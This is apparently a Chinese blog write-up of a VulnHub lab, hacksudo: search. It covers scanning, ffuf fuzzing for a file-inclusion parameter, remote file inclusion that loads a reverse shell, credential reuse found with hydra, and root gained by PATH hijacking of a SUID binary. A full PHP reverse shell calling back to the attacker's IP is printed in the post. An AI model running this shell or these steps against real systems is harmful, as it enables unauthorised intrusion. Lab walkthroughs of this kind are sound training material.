Title

vulnhub靶场之HACKSUDO: SEARCH

准备:

攻击机:虚拟机kali、本机win10。

靶机:hacksudo: search,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip,下载后直接vbox打开即可。

知识点:文件包含漏洞、shell反弹、敏感信息发现、hydra爆破、添加环境变量、ffuf爆破。

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.3.212,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.4 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了search.php、search1.php等文件。

3.web服务

访问:http://192.168.3.212/时在其源码中发现会跳转到search.php文件,但是search.php文件会执行谷歌进行搜索,没什么意义。然后在访问search1.php文件时显示访问:www.hacksudo.com,但是添加dns解析后虽然发现了一个网站但是也没发现可以利用的信息,然后又检查其源码信息在其源码信息中发现了关键信息,告诉我们要进行ffuf测试。

使用ffuf进行参数探测,命令:ffuf -u 'http://192.168.3.212/search1.php?FUZZ=../../../../../etc/passwd' -w /usr/share/SecLists/Discovery/Web-Content/common.txt -fs 2918,成功发现参数:me。

二:漏洞利用

1.漏洞验证

利用获得参数:me尝试访问下本地/etc/passwd文件,成功获得/etc/passwd文件的信息,验证了本地文件读取漏洞存在。

尝试下是否存在远程文件包含漏洞,请求下:http://192.168.3.212/search1.php?me=https://www.baidu.com,验证了存在远程文件包含漏洞。

2.获取shell

在本地kali中编写shell反弹脚本并开启web服务,然后利用远程文件包含漏洞请求:kali中的shell反弹脚本,命令:http://192.168.3.212/search1.php?me=http://192.168.3.84:8000/shell.php,成功获得shell权限。

shell反弹脚本
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.3.84';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

 

三:提权

1.提权至hacksudo

在/var/www/html目录下发现.env文件,读取该文件发现数据库账户和密码信息:hiraman/MyD4dSuperH3r0!,尝试使用获得的账户和密码信息进行数据库登录,但是显示禁止hiraman在本地登录数据库。

继续往下查找信息,在/var/www/html/account目录下发现dbconnect.php文件,读取该文件发现数据库信息:数据库名称:wordpress、账号和密码信息:hacksudo/p@ssword。

使用获得账户和密码信息连接数据库,成功进入到数据库中。这里查找之后在数据库本身的information_schema表中发现user_variables表,但是显示仍是hacksudo账户不允许访问user_variables表。

前往/home目录下进行查看发现以下账户:hacksudo、john、monali、search,但是均无相关的访问权限,联想到上面获得的两个密码,那就进行爆破以下,命令:hydra -L name -P passwd ssh://192.168.3.212,成功发现一组账户和密码信息:hacksudo/MyD4dSuperH3r0!。

利用获得的账户信息:hacksudo/MyD4dSuperH3r0!直接切换到hacksudo账户,成功获得hacksudo账户权限并在/home/hacksudo目录下发现user.txt文件,读取该文件成功获得flag值。

2.提权至root

使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/hacksudo/search/tools/searchinstall文件。

前往/home/hacksudo/search/tools目录,在该目录下发现searchinstall.c文件,读取该文件信息,发现此文件以系统权限执行了install命令,因此我们可以自己写一个install命令。

在/tmp目录下将/bin/bash写入install文件,赋予该文件执行权限并将install添加到环境变量中,然后执行./searchinstall文件成功获得root权限。

获得root权限后在在/root目录下发现root.txt文件,读取该文件成功获得flag值。

posted @ 2023-03-14 22:39  upfine  阅读(191)  评论(0编辑  收藏  举报